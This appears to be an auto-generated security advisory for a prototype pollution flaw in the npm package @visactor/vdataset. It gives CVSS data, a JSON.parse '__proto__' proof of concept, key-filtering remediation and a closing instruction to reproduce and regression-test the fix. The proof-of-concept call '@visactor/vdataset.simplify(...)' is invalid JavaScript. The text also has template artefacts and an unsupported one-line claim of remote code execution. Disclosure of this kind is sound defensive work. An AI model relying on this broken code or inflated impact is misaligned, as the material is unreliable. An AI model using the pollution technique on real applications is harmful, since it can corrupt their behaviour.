Prototype Pollution in @visactor/vdataset

Prototype Pollution in @visactor/vdataset

Summary

@visactor/vdataset (<= 1.0.23) is vulnerable to Prototype Pollution via @visactor/vdataset.simplify.

• CWE: CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
• Severity: Critical (CVSS 9.8)
• Weekly Downloads: 11,220
• npm: https://www.npmjs.com/package/@visactor/vdataset

Description

The function(s) @visactor/vdataset.simplify in @visactor/vdataset do not properly restrict modifications to Object.prototype. When processing user-controlled input, an attacker can inject properties via __proto__ or constructor.prototype keys, polluting the prototype of all JavaScript objects in the application.

Attack vectors: __proto__`, `constructor.prototype

Proof of Concept

const target = require('@visactor/vdataset');

// 1. Pollute Object.prototype
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
@visactor/vdataset.simplify({}, malicious);

// 2. Verify pollution
const obj = {};
console.log(obj.polluted); // "yes" - prototype is polluted
console.log('Vulnerable:', obj.polluted === 'yes');

Impact

Successful exploitation allows an attacker to:

• Remote Code Execution (RCE) via child_process spawn injection or vm sandbox escape

Remediation

Add key filtering to prevent prototype pollution:

function isSafe(key) {
  return key !== '__proto__' && key !== 'constructor' && key !== 'prototype';
}

Or use Object.create(null) for target objects to prevent prototype chain access.

References

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes
• OWASP Prototype Pollution
• https://www.npmjs.com/package/@visactor/vdataset

Start at the @visactor/vdataset.simplify entry point and reproduce the supplied JSON.parse proof of concept. Trace handling of proto and constructor.prototype, then add regression coverage showing Object.prototype remains unchanged after the fix.